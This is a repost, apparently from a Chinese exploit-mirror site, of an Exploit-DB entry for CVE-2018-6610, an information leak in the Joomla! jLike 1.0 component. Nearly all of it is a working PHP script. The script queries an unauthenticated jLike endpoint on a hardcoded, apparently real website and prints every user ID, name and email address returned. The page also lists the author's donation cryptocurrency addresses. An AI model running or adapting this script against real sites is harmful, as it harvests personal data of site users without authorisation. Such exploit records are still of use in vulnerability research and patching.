Joomla! Component jLike 1.0 – Information Leak - 体验盒子

作者： Ihsan Sencan

日期： 2018-02-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/43977/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

<?php

# # # # #

# Exploit Title: Joomla! Component jLike 1.0 - Information Leakage

# Dork: N/A

# Date: 04.02.2018

# Vendor Homepage: http://joomlaserviceprovider.com/

# Software Link: https://extensions.joomla.org/extensions/extension/social-web/social-share/jlike/

# Version: 1.0

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: CVE-2018-6610

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# Want To Donate ?

# BTC : 1NGEp2eNWRCE6gp2i31UPN6G6KBzMDdCyZ

# ETH : 0xd606c6b86a1b88c7fcc1f58f7659cfd968449cf2

# # # # #

# Description:

# Information Leakage

#

# Proof of Concept:

#

# 1)

header ('Content-type: text/html; charset=UTF-8');

$url= "http://www.projectcontrolsinstitute.com/";

$p="index.php?option=com_jlike&task=getUserByCommentId&tmpl=component&format=row";

$url = file_get_contents($url.$p);

$l = json_decode($url, true);

if($l){

echo "*-----------------------------* ";

foreach($l as $u){

echo "[-] ID\n\n\n\n:\n" .$u['id']." ";

echo "[-] Name\n\n:\n" .$u['name']." ";

echo "[-] Email\n:\n" .$u['email']." ";

echo " ";

}echo "*-----------------------------*";}

else{echo "[-] No user";}

?>